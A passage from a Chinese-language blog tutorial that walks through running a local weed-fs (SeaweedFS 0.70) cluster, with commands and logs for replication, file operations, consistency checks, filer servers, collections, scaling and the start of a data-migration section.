one copy\n001 replicate once on the same rack\n010 replicate once on a different rack in the same data center\n100 replicate once on a different data center\n200 replicate twice on two other different data center\n110 replicate once on a different rack, and once on a different data center\n选择数据更可靠的策略，则会带来一些性能上的代价，这始终是一个权衡的问题。\n更多的细节以及Scaling、数据迁移等方面，下面将逐一说明。\n二、weed-fs集群的启动\n为了实验方便，我们定义了一个weed-fs集群拓扑：\n三个master:\nmaster1 – localhost:9333\nmaster2 – localhost:9334\nmaster3 – localhost:9335\nreplication策略：100(即在另外一个不同的datacenter中复制一份)\n三个volume:\nvolume1 – localhost:8081 dc1\nvolume2 – localhost:8082 dc1\nvolume3 – localhost:8083 dc2\n集群启动首先启动master们，启动顺序: master1、master2、master3：\nmaster1:\n$ weed -v=3 master -port=9333 -mdir=./m1 -peers=localhost:9333,localhost:9334,localhost:9335 -defaultReplication=100\nI0820 14:37:17 07606 file_util.go:20] Folder ./m1 Permission: -rwxrwxr-x\nI0820 14:37:17 07606 topology.go:86] Using default configurations.\nI0820 14:37:17 07606 master_server.go:59] Volume Size Limit is 30000 MB\nI0820 14:37:17 07606 master.go:69] Start Seaweed Master 0.70 beta at 0.0.0.0:9333\nI0820 14:37:17 07606 raft_server.go:50] Starting RaftServer with IP:localhost:9333:\nI0820 14:37:17 07606 raft_server.go:74] Joining cluster: localhost:9333,localhost:9334,localhost:9335\nI0820 14:37:17 07606 raft_server.go:134] Attempting to connect to: http://localhost:9334/cluster/join\nI0820 14:37:17 07606 raft_server.go:139] Post returned error: Post http://localhost:9334/cluster/join: dial tcp 127.0.0.1:9334: connection refused\nI0820 14:37:17 07606 raft_server.go:134] Attempting to connect to: http://localhost:9335/cluster/join\nI0820 14:37:17 07606 raft_server.go:139] Post returned error: Post http://localhost:9335/cluster/join: dial tcp 127.0.0.1:9335: connection refused\nI0820 14:37:17 07606 raft_server.go:78] No existing server found. Starting as leader in the new cluster.\nI0820 14:37:17 07606 master_server.go:93] [ localhost:9333 ] I am the leader!\nI0820 14:37:52 07606 raft_server_handlers.go:16] Processing incoming join. Current Leader localhost:9333 Self localhost:9333 Peers map[]\nI0820 14:37:52 07606 raft_server_handlers.go:20] Command:{\u0026ldquo;name\u0026rdquo;:\u0026ldquo;localhost:9334\u0026rdquo;,\u0026ldquo;connectionString\u0026rdquo;:\u0026ldquo;http://localhost:9334\u0026rdquo;}\nI0820 14:37:52 07606 raft_server_handlers.go:27] join command from Name localhost:9334 Connection http://localhost:9334\nI0820 14:38:02 07606 raft_server_handlers.go:16] Processing incoming join. Current Leader localhost:9333 Self localhost:9333 Peers map[localhost:9334:0xc20800f730]\nI0820 14:38:02 07606 raft_server_handlers.go:20] Command:{\u0026ldquo;name\u0026rdquo;:\u0026ldquo;localhost:9335\u0026rdquo;,\u0026ldquo;connectionString\u0026rdquo;:\u0026ldquo;http://localhost:9335\u0026rdquo;}\nI0820 14:38:02 07606 raft_server_handlers.go:27] join command from Name localhost:9335 Connection http://localhost:9335\nmaster2:\n$ weed -v=3 master -port=9334 -mdir=./m2 -peers=localhost:9333,localhost:9334,localhost:9335 -defaultReplication=100\nI0820 14:37:52 07616 file_util.go:20] Folder ./m2 Permission: -rwxrwxr-x\nI0820 14:37:52 07616 topology.go:86] Using default configurations.\nI0820 14:37:52 07616 master_server.go:59] Volume Size Limit is 30000 MB\nI0820 14:37:52 07616 master.go:69] Start Seaweed Master 0.70 beta at 0.0.0.0:9334\nI0820 14:37:52 07616 raft_server.go:50] Starting RaftServer with IP:localhost:9334:\nI0820 14:37:52 07616 raft_server.go:74] Joining cluster: localhost:9333,localhost:9334,localhost:9335\nI0820 14:37:52 07616 raft_server.go:134] Attempting to connect to: http://localhost:9333/cluster/join\nI0820 14:37:52 07616 raft_server.go:179] Post returned status: 200\nmaster3:\n$ weed -v=3 master -port=9335 -mdir=./m3 -peers=localhost:9333,localhost:9334,localhost:9335 -defaultReplication=100\nI0820 14:38:02 07626 file_util.go:20] Folder ./m3 Permission: -rwxrwxr-x\nI0820 14:38:02 07626 topology.go:86] Using default configurations.\nI0820 14:38:02 07626 master_server.go:59] Volume Size Limit is 30000 MB\nI0820 14:38:02 07626 master.go:69] Start Seaweed Master 0.70 beta at 0.0.0.0:9335\nI0820 14:38:02 07626 raft_server.go:50] Starting RaftServer with IP:localhost:9335:\nI0820 14:38:02 07626 raft_server.go:74] Joining cluster: localhost:9333,localhost:9334,localhost:9335\nI0820 14:38:02 07626 raft_server.go:134] Attempting to connect to: http://localhost:9333/cluster/join\nI0820 14:38:03 07626 raft_server.go:179] Post returned status: 200\nmaster1启动后，发现其他两个peer master尚未启动，于是将自己选为leader。master2、master3启动后，加入到以master1为leader的 master集群。\n接下来我们来启动volume servers：\nvolume1:\n$ weed -v=3 volume -port=8081 -dir=./v1 -mserver=localhost:9333 -dataCenter=dc1\nI0820 14:44:29 07642 file_util.go:20] Folder ./v1 Permission: -rwxrwxr-x\nI0820 14:44:29 07642 store.go:225] Store started on dir: ./v1 with 0 volumes max 7\nI0820 14:44:29 07642 volume.go:136] Start Seaweed volume server 0.70 beta at 0.0.0.0:8081\nI0820 14:44:29 07642 volume_server.go:70] Volume server bootstraps with master localhost:9333\nI0820 14:44:29 07642 list_masters.go:18] list masters result :{\u0026ldquo;IsLeader\u0026rdquo;:true,\u0026ldquo;Leader\u0026rdquo;:\u0026ldquo;localhost:9333\u0026rdquo;,\u0026ldquo;Peers\u0026rdquo;:[\u0026ldquo;localhost:9334\u0026rdquo;,\u0026ldquo;localhost:9335\u0026rdquo;]}\nI0820 14:44:29 07642 store.go:65] current master nodes is nodes:[localhost:9334 localhost:9335 localhost:9333 localhost:9333], lastNode:3\nvolume server的启动大致相同，volume2和volume3的输出日志这里就不详细列出了。\nvolume2:\n$weed -v=3 volume -port=8082 -dir=./v2 -mserver=localhost:9334 -dataCenter=dc1\nvolume3:\n$weed -v=3 volume -port=8083 -dir=./v3 -mserver=localhost:9335 -dataCenter=dc2\n三个volume server启动后，我们在leader master(9333)上能看到如下日志：\nI0820 14:44:29 07606 node.go:208] topo adds child dc1\nI0820 14:44:29 07606 node.go:208] topo:dc1 adds child DefaultRack\nI0820 14:44:29 07606 node.go:208] topo:dc1:DefaultRack adds child 127.0.0.1:8081\nI0820 14:47:09 07606 node.go:208] topo:dc1:DefaultRack adds child 127.0.0.1:8082\nI0820 14:47:21 07606 node.go:208] topo adds child dc2\nI0820 14:47:21 07606 node.go:208] topo:dc2 adds child DefaultRack\nI0820 14:47:21 07606 node.go:208] topo:dc2:DefaultRack adds child 127.0.0.1:8083\n至此，整个weed-fs集群已经启动了。初始启动后的master会在-mdir下建立一些目录和文件：\n$ ls m1\nconf log snapshot\n但volume在-dir下没有做任何操作，volume server会在第一次写入数据时建立相应的.idx文件和.dat文件。\n**三、**基本操作：存储、获取和删除文件\n创建一个hello.txt文件，内容为\u0026quot;hello weed-fs!\u0026quot;，用于我们测试weed-fs的基本操作。weed-fs提供了HTTP REST API接口，我们可以很方便的使用其基本功能(这里客户端使用curl)。\n1、存储\n我们来将hello.txt文件存储在weed-fs文件系统中，我们通过master提供的submit API接口来完成这一操作：\n$ curl -F file=@hello.txt http://localhost:9333/submit\n{\u0026ldquo;fid\u0026rdquo;:\u0026ldquo;6,01fc4a422c\u0026rdquo;,\u0026ldquo;fileName\u0026rdquo;:\u0026ldquo;hello.txt\u0026rdquo;,\u0026ldquo;fileUrl\u0026rdquo;:\u0026ldquo;127.0.0.1:8082/6,01fc4a422c\u0026rdquo;,\u0026ldquo;size\u0026rdquo;:39}\n我们看到master给我们返回了一行json数据，其中:\nfid是一个逗号分隔的字符串，按照repository中文档的说明，这个字符串应该由volume id, key uint64和cookie code构成。其中逗号前面的6就是volume id, 01fc4a422c则是key和cookie组成的串。fid是文件hello.txt在集群中的唯一ID。后续查看、获取以及删除该文件数据都需要使 用这个fid。\nfileUrl是该文件在weed-fs中的一个访问地址(非唯一哦)，这里是127.0.0.1:8082/6,01fc4a422c，可以看出weed-fs在volume server2上存储了一份hello.txt的数据。\n这一存储操作引发了物理volume的创建，我们可以看到volume server的-dir下发生了变化，多了很多.idx和.dat文 件：\n$ ls v1 v2 v3\nv1:\n3.dat 3.idx 4.dat 4.idx 5.dat 5.idx\nv2:\n1.dat 1.idx 2.dat 2.idx 6.dat 6.idx\nv3:\n1.dat 1.idx 2.dat 2.idx 3.dat 3.idx 4.dat 4.idx 5.dat 5.idx 6.dat 6.idx\n并且这个创建过程是在master leader的控制之下的：\nI0820 15:06:02 07606 volume_growth.go:204] Created Volume 3 on topo:dc1:DefaultRack:127.0.0.1:8081\nI0820 15:06:02 07606 volume_growth.go:204] Created Volume 3 on topo:dc2:DefaultRack:127.0.0.1:8083\n我们从文件的size可以看出，hello.txt文件被存储在了v2和v3下的id为6的卷(6.dat和6.idx)中：\nv2:\n-rw-r–r– 1 tonybai tonybai 104 8月20 15:06 6.dat\n-rw-r–r– 1 tonybai tonybai 16 8月20 15:06 6.idx\nv3:\n-rw-r–r– 1 tonybai tonybai 104 8月20 15:06 6.dat\n-rw-r–r– 1 tonybai tonybai 16 8月20 15:06 6.idx\nv2和v3中的6.dat是一模一样的，6.idx也是一样的（后续在做数据迁移时，这点极其重要）。\n**2、**获取\n前面提到master给我们返回了一个fid:6,01fc4a422c以及fileUrl\u0026quot;:\u0026ldquo;127.0.0.1:8082/6,01fc4a422c\u0026rdquo;。\n通过这个fileUrl，我们可以获取到hello.txt的数据：\n$ curl http://127.0.0.1:8082/6,01fc4a422c\nhello weed-fs!\n根据我们的replication策略，hello.txt应该还存储在v3下，我们换成8083这个volume，应该也可以得到 hello.txt数据：\n$ curl http://127.0.0.1:8083/6,01fc4a422c\nhello weed-fs!\n如果我们通过volume1 (8081)查，应该得不到数据：\n$ curl http://127.0.0.1:8081/6,01fc4a422c\n\u0026lt;a href=\u0026ldquo;http://127.0.0.1:8082/6,01fc4a422c\u0026rdquo;\u0026gt;Moved Permanently.\n这里似乎是重定向了。我们给curl加上重定向处理选项再试一次：\n$ curl -L http://127.0.0.1:8081/6,01fc4a422c\nhello weed-fs!\n居然也能得到相应数据，从volume1的日志来看，volume1也能获取到hello.txt的正确地址，并将返回重定向请求，这样curl 就能从正确的machine上获取数据了。\n如果我们通过master来获取hello.txt数据，会是什么结果呢？\n$ curl -L http://127.0.0.1:9335/6,01fc4a422c\nhello weed-fs!\n同样master返回重定向地址，curl从volume节点获取到正确数据。我们看看master是如何返回重定向地址的？\n$ curl http://127.0.0.1:9335/6,01fc4a422c\n\u0026lt;a href=\u0026ldquo;http://127.0.0.1:8082/6,01fc4a422c\u0026rdquo;\u0026gt;Moved Permanently.\n$ curl http://127.0.0.1:9335/6,01fc4a422c\n\u0026lt;a href=\u0026ldquo;http://127.0.0.1:8083/6,01fc4a422c\u0026rdquo;\u0026gt;Moved Permanently.\n可以看到master会自动均衡负载，轮询式的返回8082和8083。0.70版本以前，通过非leader master是无法得到正确结果的，只能通过leader master得到，0.70版本fix了这个问题。\n3、删除\n通过fileUrl地址直接删除hello.txt：\n$ curl -X DELETE http://127.0.0.1:8082/6,01fc4a422c\n{\u0026ldquo;size\u0026rdquo;:39}\n操作成功后，我们再来get一下hello.txt:\n$ curl -i http://127.0.0.1:8082/6,01fc4a422c\nHTTP/1.1 404 Not Found\nDate: Thu, 20 Aug 2015 08:13:28 GMT\nContent-Length: 0\nContent-Type: text/plain; charset=utf-8\n$ curl -i -L http://127.0.0.1:9335/6,01fc4a422c\nHTTP/1.1 301 Moved Permanently\nContent-Length: 69\nContent-Type: text/html; charset=utf-8\nDate: Thu, 20 Aug 2015 08:13:56 GMT\nLocation: http://127.0.0.1:8082/6,01fc4a422c\nHTTP/1.1 404 Not Found\nDate: Thu, 20 Aug 2015 08:13:56 GMT\nContent-Length: 0\nContent-Type: text/plain; charset=utf-8\n可以看出，无论是直接通过volume还是间接通过master都无法获取到hello.txt了，hello.txt被成功删除了。\n不过删除hello.txt后，volume server下的数据文件的size却并没有随之减小，别担心，这就是weed-fs的处理方法，这些数据删除后遗留下来的空洞需要手工清除（对数据文件 进行手工紧缩）：\n$ curl \u0026ldquo;http://localhost:9335/vol/vacuum\u0026rdquo;\n{\u0026ldquo;Topology\u0026rdquo;:{\u0026ldquo;DataCenters\u0026rdquo;:[{\u0026ldquo;Free\u0026rdquo;:8,\u0026ldquo;Id\u0026rdquo;:\u0026ldquo;dc1\u0026rdquo;,\u0026ldquo;Max\u0026rdquo;:14,\u0026ldquo;Racks\u0026rdquo;:[{\u0026ldquo;DataNodes\u0026rdquo;:[{\u0026ldquo;Free\u0026rdquo;:4,\u0026ldquo;Max\u0026rdquo;:7,\u0026ldquo;PublicUrl\u0026rdquo;:\u0026ldquo;127.0.0.1:8081\u0026rdquo;,\u0026ldquo;Url\u0026rdquo;:\u0026ldquo;127.0.0.1:8081\u0026rdquo;,\u0026ldquo;Volumes\u0026rdquo;:3},{\u0026ldquo;Free\u0026rdquo;:4,\u0026ldquo;Max\u0026rdquo;:7,\u0026ldquo;PublicUrl\u0026rdquo;:\u0026ldquo;127.0.0.1:8082\u0026rdquo;,\u0026ldquo;Url\u0026rdquo;:\u0026ldquo;127.0.0.1:8082\u0026rdquo;,\u0026ldquo;Volumes\u0026rdquo;:3}],”Free”:8,”Id”:”DefaultRack”,”Max”:14}]},{“Free”:1,”Id”:”dc2″,”Max”:7,”Racks”:[{\u0026ldquo;DataNodes\u0026rdquo;:[{\u0026ldquo;Free\u0026rdquo;:1,\u0026ldquo;Max\u0026rdquo;:7,\u0026ldquo;PublicUrl\u0026rdquo;:\u0026ldquo;127.0.0.1:8083\u0026rdquo;,\u0026ldquo;Url\u0026rdquo;:\u0026ldquo;127.0.0.1:8083\u0026rdquo;,\u0026ldquo;Volumes\u0026rdquo;:6}],”Free”:1,”Id”:”DefaultRack”,”Max”:7}]}],”Free”:9,”Max”:21,”layouts”:[{\u0026ldquo;collection\u0026rdquo;:\u0026quot;\u0026quot;,\u0026ldquo;replication\u0026rdquo;:\u0026ldquo;100\u0026rdquo;,\u0026ldquo;ttl\u0026rdquo;:\u0026quot;\u0026quot;,\u0026ldquo;writables\u0026rdquo;:[1,2,3,4,5,6]}]},\u0026ldquo;Version\u0026rdquo;:\u0026ldquo;0.70 beta\u0026rdquo;}\n紧缩后，你再查看v1, v2, v3下的文件size，真的变小了。\n四、一致性**（consistency）**\n在分布式系统中，“一致性”是永恒的难题。weed-fs支持replication，其多副本的数据一致性需要保证。\nweed-fs理论上采用了是一种“强一致性”的策略，即：\n存储文件时，当多个副本都存储成功后，才会返回成功；任何一个副本存储失败，此次存储操作则返回失败。\n删除文件时，当所有副本都删除成功后，才返回成功；任何一个副本删除失败，则此次删除操作返回失败。\n我们来验证一下weed-fs是否做到了以上两点：\n1、存储的一致性保证\n我们先将volume3停掉(即dc2)，这样在replication 策略为100时，向weed-fs存储hello.txt时会发生如下结果：\n$ curl -F file=@hello.txt http://localhost:9333/submit\n{\u0026ldquo;error\u0026rdquo;:\u0026ldquo;Cannot grow volume group! Not enough data node found!\u0026rdquo;}\nmaster根据100策略，需要在dc2选择一个volume存储hello.txt的副本，但dc2所有machine都down掉了，因此 没有存储空间，于是master认为此次操作无法继续进行，返回失败。这点符合存储一致性的要求。\n2、删除****的一致性保证\n恢复dc2，将hello.txt存入：\n$ curl -F file=@hello.txt http://localhost:9333/submit\n{\u0026ldquo;fid\u0026rdquo;:\u0026ldquo;6,04dce94a72\u0026rdquo;,\u0026ldquo;fileName\u0026rdquo;:\u0026ldquo;hello.txt\u0026rdquo;,\u0026ldquo;fileUrl\u0026rdquo;:\u0026ldquo;127.0.0.1:8082/6,04dce94a72\u0026rdquo;,\u0026ldquo;size\u0026rdquo;:39}\n再次停掉dc2，之后尝试删除hello.txt（通过master删除)：\n$ curl -L -X DELETE http://127.0.0.1:9333/6,04dce94a72\n{\u0026ldquo;error\u0026rdquo;:\u0026ldquo;Deletion Failed.\u0026rdquo;}\n虽然返回的是delete failed，但从8082上的日志来看，似乎8082已经将hello.txt删除了：\nI0820 17:32:20 07653 volume_server_handlers_write.go:53] deleting Cookie:3706276466, Id:4, Size:0, DataSize:0, Name: , Mime:\n我们再从8082获取一下hello.txt：\n$ curl http://127.0.0.1:8082/6,04dce94a72\n结果是什么也没有返回。\n从8082日志来看：\nI0820 17:33:24 07653 volume_server_handlers_read.go:53] read error: File Entry Not Found. Needle 70 Memory 0 /6,04dce94a72\nhello.txt的确被删除了！\n这时将dc2(8083)重新启动！我们尝试从8083获取hello.txt：\n$ curl http://127.0.0.1:8083/6,04dce94a72\nhello weed-fs!\n8083上的hello.txt依旧存在，可以被读取。\n再试试通过master来获取hello.txt：\n$ curl -L http://127.0.0.1:9333/6,04dce94a72\n$ curl -L http://127.0.0.1:9333/6,04dce94a72\nhello weed-fs!\n结果是有时能返回hello.txt内容，有时不行。显然这是与master的自动负载均衡有关，返回8082这个重定向地址，则curl无法得 到结果；但若返回8083这个重定向地址，我们就可以得到hello.txt的内容。\n这样来看，目前weed-fs的删除操作还无法保证强一致性。weed-fs github.com上已有若干issues(#172，#179，#182)是关于这个问题的。在大数据量(TB、PB级别)的情况下，这种不一致性最 大的问题是导致storage leak，即空间被占用而无法回收，volume将被逐个逐渐占满，期待后续的解决方案吧。\n五、目录支持\nweed-fs还支持像传统文件系统那样，将文件放在目录下管理，并通过文件路径对文件进行存储、获取和删除操作。weed-fs对目录的支持是 通过另外一个server实现的：filer server。也就是说如果想拥有对目录的支持，则必须启动一个(或若干个) filer server，并且所有的操作都要通过filer server进行。\n$ weed filer -port=8888 -dir=./f1 -master=localhost:9333 -defaultReplicaPlacement=100\nI0820 22:09:40 08238 file_util.go:20] Folder ./f1 Permission: -rwxrwxr-x\nI0820 22:09:40 08238 filer.go:88] Start Seaweed Filer 0.70 beta at port 8888\n1、存储\n$curl -F \u0026ldquo;filename=@hello.txt\u0026rdquo; \u0026ldquo;http://localhost:8888/foo/\u0026rdquo;\n{\u0026ldquo;name\u0026rdquo;:\u0026ldquo;hello.txt\u0026rdquo;,\u0026ldquo;size\u0026rdquo;:39}\n2、获取\n$ curl http://localhost:8888/foo/hello.txt\nhello weed-fs!\n3、查询目录文件列表\n$ curl \u0026ldquo;http://localhost:8888/foo/?pretty=y\u0026rdquo;\n{\n\u0026ldquo;Directory\u0026rdquo;: \u0026ldquo;/foo/\u0026rdquo;,\n\u0026ldquo;Files\u0026rdquo;: [\n{\n\u0026ldquo;name\u0026rdquo;: \u0026ldquo;hello.txt\u0026rdquo;,\n\u0026ldquo;fid\u0026rdquo;: \u0026ldquo;6,067281a126\u0026rdquo;\n}\n],\n\u0026ldquo;Subdirectories\u0026rdquo;: null\n}\n4、删除\n$ curl -X DELETE http://localhost:8888/foo/hello.txt\n{\u0026ldquo;error\u0026rdquo;:\u0026quot;\u0026quot;}\n再尝试获取hello.txt：\n$curl http://localhost:8888/foo/hello.txt\n返回空。hello.txt已被删除。\n5、多filer server\nweed filer server是单点，我们再来启动一个filer server。\n$ weed filer -port=8889 -dir=./f2 -master=localhost:9333 -defaultReplicaPlacement=100\nI0821 13:47:52 08973 file_util.go:20] Folder ./f2 Permission: -rwxrwxr-x\nI0821 13:47:52 08973 filer.go:88] Start Seaweed Filer 0.70 beta at port 8889\n两个filer节点间是否有协调呢？我们来测试一下：我们从8888存储一个文件，然后从8889获取这个文件：\n$ curl -F \u0026ldquo;filename=@hello.txt\u0026rdquo; \u0026ldquo;http://localhost:8888/foo/\u0026rdquo;\n{\u0026ldquo;name\u0026rdquo;:\u0026ldquo;hello.txt\u0026rdquo;,\u0026ldquo;size\u0026rdquo;:39}\n$ curl http://localhost:8888/foo/hello.txt\nhello weed-fs!\n$ curl http://localhost:8889/foo/hello.txt\n空\n从测试结果来看，二者各自独立工作，并没有任何联系，也就是说没有共享“文件full path”到\u0026quot;fid\u0026quot;的索引关系。默认情况下 filer server都是工作在standalone模式下的。\nweed-fs官方给出了filer的集群方案，即使用redis或Cassandra作为后端，在多个filer节点间共享“文件full path”到\u0026quot;fid\u0026quot;的索引关系。\n我们启动一个redis-server(2.8.21)，监听在默认的6379端口。用下面命令重启两个filer server节点：\n$ weed filer -port=8888 -dir=./f1 -master=localhost:9333 -defaultReplicaPlacement=100 -redis.server=localhost:6379\n$ weed filer -port=8889 -dir=./f2 -master=localhost:9333 -defaultReplicaPlacement=100 -redis.server=localhost:6379\n重复一下上面的测试步骤：\n$ curl -F \u0026ldquo;filename=@hello.txt\u0026rdquo; \u0026ldquo;http://localhost:8888/foo/\u0026rdquo;\n{\u0026ldquo;name\u0026rdquo;:\u0026ldquo;hello.txt\u0026rdquo;,\u0026ldquo;size\u0026rdquo;:39}\n$ curl http://localhost:8889/foo/hello.txt\nhello weed-fs!\n可以看到从8888存储的文件，可以被从8889获取到。\n我们删除这个文件：\n$ curl -X DELETE http://localhost:8889/foo/hello.txt\n{\u0026ldquo;error\u0026rdquo;:\u0026ldquo;Invalid fileId \u0026ldquo;}\n提示error，但实际上文件已经被删除了！这块可能是个小bug(#183)。\n虽然filer是集群了，但其后端的redis依旧是单点，如果考虑高可靠性，redis显然也要做好集群。\n**六、**Collection\nCollection，顾名思义是“集合”，在weed-fs中，它指的是物理volume的集合。前面我们在存储文件时并没有指定 collection，因此weed-fs采用默认collection(空)。如果我们指定集合，结果会是什么样子呢？\n$ curl -F file=@hello.txt \u0026ldquo;http://localhost:9333/submit?collection=picture\u0026rdquo;\n{\u0026ldquo;fid\u0026rdquo;:\u0026ldquo;7,0c4f5dc90f\u0026rdquo;,\u0026ldquo;fileName\u0026rdquo;:\u0026ldquo;hello.txt\u0026rdquo;,\u0026ldquo;fileUrl\u0026rdquo;:\u0026ldquo;127.0.0.1:8083/7,0c4f5dc90f\u0026rdquo;,\u0026ldquo;size\u0026rdquo;:39}\n$ ls v1 v2 v3\nv1:\n3.dat 3.idx 4.dat 4.idx 5.dat 5.idx picture_7.dat picture_7.idx\nv2:\n1.dat 1.idx 2.dat 2.idx 6.dat 6.idx\nv3:\n1.dat 1.idx 2.dat 2.idx 3.dat 3.idx 4.dat 4.idx 5.dat 5.idx 6.dat 6.idx picture_7.dat picture_7.idx\n可以看出volume server在自己的-dir下面建立了一个collection名字为prefix的idx和dat文件，上述例子中hello.txt被分配到 8081和8083两个volume server上，因此这两个volume server各自建立了picture_7.dat和picture_7.idx。以picture为前缀的idx和dat文件只是用来存放存储在 collection=picture的文件数据，其他数据要么存储在默认collection中，要么存储在其他名字的collection 中。\ncollection就好比为Windows下位驱动器存储卷起名。比如C:叫\u0026quot;系统盘\u0026rdquo;，D叫“程序盘”，E叫“数据盘”。这里各个 volume server下的picture_7.dat和picture_7.idx被起名为picture卷。如果还有video collection，那么它可能由各个volume server下的video_8.dat和video_8.idx。\n不过由于默认情况下，weed volume的默认-max=\u0026ldquo;7\u0026rdquo;，因此在实验环境下每个volume server最多在-dir下建立7个物理卷(七对.idx和.dat)。如果此时我还想建立video卷会怎么样呢？\n$ curl -F file=@hello.txt \u0026ldquo;http://localhost:9333/submit?collection=video\u0026rdquo;\n{\u0026ldquo;error\u0026rdquo;:\u0026ldquo;Cannot grow volume group! Not enough data node found!\u0026rdquo;}\nvolume server们返回失败结果，提示无法再扩展volume了。这时你需要重启各个volume server，将-max值改大，比如100。\n比如：$weed -v=3 volume -port=8083 -dir=./v3 -mserver=localhost:9335 -dataCenter=dc2 -max=100\n重启后，我们再来建立video collection:\n$ curl -F file=@hello.txt \u0026ldquo;http://localhost:9333/submit?collection=video\u0026rdquo;\n{\u0026ldquo;fid\u0026rdquo;:\u0026ldquo;11,0ee98ca54d\u0026rdquo;,\u0026ldquo;fileName\u0026rdquo;:\u0026ldquo;hello.txt\u0026rdquo;,\u0026ldquo;fileUrl\u0026rdquo;:\u0026ldquo;127.0.0.1:8083/11,0ee98ca54d\u0026rdquo;,\u0026ldquo;size\u0026rdquo;:39}\n$ ls v1 v2 v3\nv1:\n3.dat 4.dat 5.dat picture_7.dat video_10.dat video_11.dat video_12.dat video_13.dat video_9.dat\n3.idx 4.idx 5.idx picture_7.idx video_10.idx video_11.idx video_12.idx video_13.idx video_9.idx\nv2:\n1.dat 1.idx 2.dat 2.idx 6.dat 6.idx video_8.dat video_8.idx\nv3:\n1.dat 2.dat 3.dat 4.dat 5.dat 6.dat picture_7.dat video_10.dat video_11.dat video_12.dat video_13.dat video_8.dat video_9.dat\n1.idx 2.idx 3.idx 4.idx 5.idx 6.idx picture_7.idx video_10.idx video_11.idx video_12.idx video_13.idx video_8.idx video_9.idx\n可以看到每个datacenter的volume server一次分配了6个volume作为video collection的存储卷。\n七、伸缩(Scaling**)**\n对于分布式系统来说，Scaling是不得不考虑的问题，也是极为常见的操作。\n1、伸（scale up)\nweed-fs对“伸\u0026quot;的支持是很好的，我们分角色说。\n【master】\nmaster间采用的是raft协议，增加一个master，对于集群来说是最最基本的操作：\n$weed -v=3 master -port=9336 -mdir=./m4 -peers=localhost:9333,localhost:9334,localhost:9335,localhost:9336 -defaultReplication=100\nI0821 15:45:47 12398 file_util.go:20] Folder ./m4 Permission: -rwxrwxr-x\nI0821 15:45:47 12398 topology.go:86] Using default configurations.\nI0821 15:45:47 12398 master_server.go:59] Volume Size Limit is 30000 MB\nI0821 15:45:47 12398 master.go:69] Start Seaweed Master 0.70 beta at 0.0.0.0:9336\nI0821 15:45:47 12398 raft_server.go:50] Starting RaftServer with IP:localhost:9336:\nI0821 15:45:47 12398 raft_server.go:74] Joining cluster: localhost:9333,localhost:9334,localhost:9335,localhost:9336\nI0821 15:45:48 12398 raft_server.go:134] Attempting to connect to: http://localhost:9333/cluster/join\nI0821 15:45:49 12398 raft_server.go:179] Post returned status: 200\n新master节点启动后，会通过raft协议自动加入到以9333为leader的master集群中。\n【volume】\n和master一样，volume本身就是靠master管理的，volume server之间没有什么联系，增加一个volume server要做的就是启动一个新的volume server就好了：\n$ weed -v=3 volume -port=8084 -dir=./v4 -mserver=localhost:9335 -dataCenter=dc2\nI0821 15:48:21 12412 file_util.go:20] Folder ./v4 Permission: -rwxrwxr-x\nI0821 15:48:21 12412 store.go:225] Store started on dir: ./v4 with 0 volumes max 7\nI0821 15:48:21 12412 volume.go:136] Start Seaweed volume server 0.70 beta at 0.0.0.0:8084\nI0821 15:48:21 12412 volume_server.go:70] Volume server bootstraps with master localhost:9335\nI0821 15:48:22 12412 list_masters.go:18] list masters result :\nI0821 15:48:22 12412 list_masters.go:18] list masters result :{\u0026ldquo;IsLeader\u0026rdquo;:true,\u0026ldquo;Leader\u0026rdquo;:\u0026ldquo;localhost:9333\u0026rdquo;,\u0026ldquo;Peers\u0026rdquo;:[\u0026ldquo;localhost:9334\u0026rdquo;,\u0026ldquo;localhost:9335\u0026rdquo;,\u0026ldquo;localhost:9336\u0026rdquo;]}\nI0821 15:48:22 12412 store.go:65] current master nodes is nodes:[localhost:9334 localhost:9335 localhost:9336 localhost:9333 localhost:9333], lastNode:4\nI0821 15:48:22 12412 volume_server.go:82] Volume Server Connected with master at localhost:9333\n新volume server节点启动后，同样会自动加入集群，后续master就会自动在其上存储数据了。\n【filer】\n前面已经谈到了，无论是standalone模式，还是distributed模式，filter都可以随意增减，这里就不再重复赘述了。\n2、缩(scale down)\nmaster的缩是极其简单的，只需将相应节点shutdown即可；如果master是leader，则其他master会检测到leader shutdown，并自动重新选出新leader。不过在leader选举的过程中，整个集群的服务将短暂停止，直到leader选出。\nfiler在standalone模式下，谈伸缩是毫无意义的；对于distributed模式下，filter节点和master节点缩的方法 一致，shutdown即可。\n唯一的麻烦就是volume节点，因为数据存储在volume节点下，我们不能简单的停掉volume，我们需要考虑在不同 replication策略下是否可以做数据迁移，如何做数据迁移。这就是下一节我们要详细描述的。\n**八、**数据迁移\n下面我们就来探讨一下weed-fs的volume数据迁移问题。\n1、000复制策略下的数据迁移\n为方便测试，我简化一下实验环境（一个master+3个volume）：\nmaster:\n$ weed -v=3 master -port=9333 -mdir=./m1 -defaultReplication=000\nvolume:\n$ weed -v=3 volume -port=8081 -dir=./v1 -mserver=localhost:9333 -dataCenter=dc1\n$ weed -v=3 volume -port=8082 -dir=./v2 -mserver=localhost:9333 -dataCenter=dc1\n$ weed -v=3 volume -port=8083 -dir=./v3 -mserver=localhost:9333 -dataCenter=dc1\n和之前一样，启动后，v1，v2，v3目录下面是空的，卷的创建要等到第一份数据存入时。000策略就是没有副本的策略，你存储的文件在 weed-fs中只有一份数据。\n我们上传一份文件：\n$ curl -F filename=@hello1.txt \u0026ldquo;http://localhost:9333/submit\u0026rdquo;\n{\u0026ldquo;fid\u0026rdquo;:\u0026ldquo;1,01655ab58e\u0026rdquo;,\u0026ldquo;fileName\u0026rdquo;:\u0026ldquo;hello1.txt\u0026rdquo;,\u0026ldquo;fileUrl\u0026rdquo;:\u0026ldquo;127.0.0.1:8081/1,01655ab58e\u0026rdquo;,\u0026ldquo;size\u0026rdquo;:40}\n$ ll v1 v2 v3\nv1:\n-rw-r–r– 1 tonybai tonybai 104 8 21 21:31 1.dat\n-rw-r–r– 1 tonybai tonybai 16 8 21 21:31 1.idx\n-rw-r–r– 1 tonybai tonybai 8 8 21 21:31 4.dat\n-rw-r–r– 1 tonybai tonybai 0 8 21 21:31 4.idx\n-rw-r–r– 1 tonybai tonybai 8 8 21 21:31 7.dat\n-rw-r–r– 1 tonybai tonybai 0 8 21 21:31 7.idx\nv2:\n-rw-r–r– 1 tonybai tonybai 8 8 21 21:31 2.dat\n-rw-r–r– 1 tonybai tonybai 0 8 21 21:31 2.idx\n-rw-r–r– 1 tonybai tonybai 8 8 21 21:31 3.dat\n-rw-r–r– 1 tonybai tonybai 0 8 21 21:31 3.idx\n-rw-r–r– 1 tonybai tonybai 8 8 21 21:31 